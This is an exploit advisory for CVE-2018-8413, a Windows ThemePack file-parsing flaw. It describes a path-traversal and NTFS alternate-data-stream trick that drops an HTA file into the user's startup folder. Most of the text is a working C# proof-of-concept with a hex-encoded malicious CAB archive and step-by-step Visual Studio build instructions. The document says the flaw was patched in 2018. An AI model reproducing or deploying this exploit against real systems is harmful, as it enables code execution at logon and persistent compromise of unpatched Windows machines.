Microsoft Windows 10 Theme API ThemePack File Parsing

Risk: Low
Local: Yes
Remote: No

# Exploit Title: Microsoft Windows 10 - Theme API 'ThemePack' File Parsing # Google Dork: n/a # Date: 2020-10-28 # Exploit Author: Eduardo Braun Prado # Vendor Homepage: # Software Link: # Version: 10 v.1803 (17134.407) # Tested on: Windows 7, 8.0, 8.1, 10, Server 2012, Server 2012 R2, Server 2016, Server 2019 # CVE : CVE-2018-8413 # Discovered by: Eduardo Braun Prado [Details] Microsoft 'themepack' files are classic '.theme' files compressed for sharing over the internet. Theme files allows users to customize visual aspects of their device, such as icons for known features like 'My computer' and 'trash bin' folders, the default screensaver (which by the way allowed attackers to run '.scr' files located on shares upon applying a Theme, in the past. Refer to: CVE-2013-0810). ThemePack file type uses Microsoft 'CAB' format. The parser contains a vulnerability that allows attackers to create arbitrary files on arbitrary locations on the user´s system, by using the classic 'parent directory' technique, and thus could lead to creation of some executable files on the startup folder. This executable will be run on next logon. Conditions: 1) The 'themepack' file must contain a valid '[dot] theme' file. The parser allows creating '.theme' files on arbitrary locations, but the extension must be '.theme'. There´s a trick, though, to overcome this: NTFS Alternate Data Streams. By using a specially crafted name like "abc.hta:[dot] theme" it´s possible to trick the parser into dropping a file with an '[dot] hta' extension instead of the legitimate '[dot] theme', potentially allowing attackers to compromise the affected systems. The '[dot] hta' extension is a good choice since you can merge valid code with arbitrary text or binary files. Note: Patched on October, 2018 Microsoft monthly patch. [PoC] Proof of concept code that drops an 'hta' file to startup dir. Instructions: - Create a new project on MS Visual Studio (any version, included free ones like 'Express'), choose 'Console Application' and at 'program . cs' replace the code with the code below Note: Source code targets dot NET 4.0 and up (previous versions might work fine though!) using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ThemePack { class Program { static void Main(string[] args) { String exeDir = AppDomain.CurrentDomain.BaseDirectory; Directory.SetCurrentDirectory(exeDir); string tmpPath = Path.GetTempPath(); string tpd = "4D53434600000000AB010000000000002C000000000000000301010001000000000000009500000001000100930100000000000000003C508108200061612E2E5C2E2E5C2E2E5C2E2E5C2E2E5C2E2E5C726F616D696E675C6D6963726F736F66745C77696E646F77735C7374617274206D656E755C70726F6772616D735C737461727475705C6162632E6874613A2E7468656D6500B60133780E019301434B4D51C16A023110BD07F20F5EBC5A85D2163405DDB5871645CCB215BA1ED265C0E024B364E261FDFA66534BBD8499F7DE4CDE4BE68B5374F82AC55775020747294ACB1D9A7E6B1CA88CED4C7B1ED517F4522459413E06C2D1CE78C0A6043E47EAD2D8A741EC4C074149515984FF7E7A47EAD823A85982762646085EE5A5B5E58BC14CF231732735D63D47707BA2386E02305D420BDCC4C112374B08948F8963CE7352148474BB614BC119CC8014DA5EFF90A1BC09EDD5444B3ED76A7A785A3D3FAE5EDE8AE43E18CF9D09E0DB5ECD06B5EB88ED201EDA3BAF3504CEE834A7F84E56937B5DECB77A59AF27EBC3FA37DEC6A424213FA60684365248BA4DA537AA5CAEDECB8F4A8AF9E2E1F6133F"; string tpf = exeDir + "\\C00L.themepack"; Console.WriteLine("\n\n ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ \n Microsoft Windows Theme API 'ThemePack' File Parsing Vulnerability PoC (CVE-2018-8413) \n\n by: Eduardo Braun Prado \n\n ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"); StreamWriter s = File.CreateText(tmpPath + "\\themepack000.h"); s.Write(tpd); s.Close(); FileStream f = File.OpenRead(tmpPath + "\\themepack000.h"); String ax = ""; byte[] b = new byte[f.Length]; UTF8Encoding temp = new UTF8Encoding(false); while (f.Read(b, 0, b.Length) > 0) { ax = ax + temp.GetString(b); } String bx = ax.ToString(); String cx = ""; byte[] b02 = new byte[f.Length / 2]; for (int i = 0; i < f.Length; i += 2) { cx = bx.Substring(i, 2); b02[i / 2] = Convert.ToByte(cx, 16); } File.WriteAllBytes(tpf, b02); if (File.Exists(tpf)) { long fsize = new FileInfo(tpf).Length; if (fsize != 0) { Console.WriteLine("\n\n\n Done! 'C00L." + "themepack' file created in the current directory. Vulnerable systems should plant an HTA on startup dir."); } } } } }

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